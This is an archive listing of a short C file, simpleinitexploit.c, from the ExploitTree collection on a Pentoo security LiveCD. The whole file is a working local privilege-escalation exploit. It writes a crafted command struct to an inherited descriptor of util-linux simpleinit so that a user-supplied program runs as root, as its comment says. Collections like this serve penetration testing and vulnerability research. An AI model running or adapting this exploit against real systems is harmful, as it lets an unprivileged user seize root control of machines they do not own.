home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / simpleinitexploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  500b  |  23 lines

  1. #include <fcntl.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <unistd.h>
  6.  
  7. #include "simpleinit.h"  /* From the util-linux source */
  8.  
  9. int main()
  10. {
  11.    int fd = 3;
  12.    char buf[COMMAND_SIZE];
  13.    struct command_struct* cmd = (struct command_struct*) buf;
  14.  
  15.    memset(buf, '\0', sizeof(buf));
  16.    cmd->command = COMMAND_NEED;
  17.    cmd->pid = 17;
  18.    cmd->ppid = 16;
  19.    strcpy(cmd->name, "/home/pat/x/foo");  /* foo will be run as root */
  20.    write(fd, buf, COMMAND_SIZE);
  21.    return 0;
  22. }
  23.